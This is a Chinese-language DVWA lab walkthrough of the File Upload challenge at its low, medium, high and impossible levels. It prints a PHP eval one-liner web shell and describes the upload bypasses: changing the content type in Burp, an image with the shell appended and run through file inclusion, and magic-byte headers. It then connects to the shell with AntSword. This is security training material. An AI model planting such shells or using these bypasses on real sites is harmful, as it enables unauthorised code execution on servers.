File Upload 文件上传
low
-
先分析一下源代码
其中有一个move_upload_file的php函数,看一下官网解释
可以发现源代码中没有任何过滤
-
因为是php代码,所以直接上传php的一句话木马
<?php @eval($_POST['333']);?>
-
按照保存路径查看,页面空白说明上传成功
-
启动蚁剑,添加数据,测试连接
-
连接成功
medium
-
先分析一下源代码
-
此时的想法是抓包,更改文件类型;先上传一句话木马
-
bp抓到包,修改下文件名试试
还是失败
-
更改文件类型
-
蚁剑连接,步骤同low等级
high
-
分析一下源代码
strtolower:将后缀名转换为小写,并且需要是jpg、jpef、png三种
upload_size:上传文件大小要小于100000
getimagesize:取得图像大小,检查文件的头部(二进制) -
此时有两种方法绕过,一是图片马:vim打开图片,在最后加上php一句话木马
-
dvwa直接上传图片
-
访问上传路径,通过page访问图片文件并执行
http://192.168.117.164/dvwa/vulnerabilities/fi/?page=file:///C:\phpStudy_2016\WWW\dvwa\hackable\uploads/1.png
-
蚁剑连接,连接失败,因为蚁剑在连接时并没有携带cookie,正因为缺少cookie值才无法连接成功
-
先将地址添加进去,选择浏览网站
-
在地址栏访问DVWA首页,进行登录
http://192.168.117.164/dvwa
-
登录成功后将难度设置为high级别
-
保存cookie信息
-
此时可以进行文件管理
-
第二种方法,上传php一句话木马,在头部加入文件幻数
文件幻数是一种固定头部或固定尾部
-
文件上传成功
impossible
分析源代码
相比于high难度,添加了imagecreatefromjpeg函数,相当于新建了一个新图像,进行了二次渲染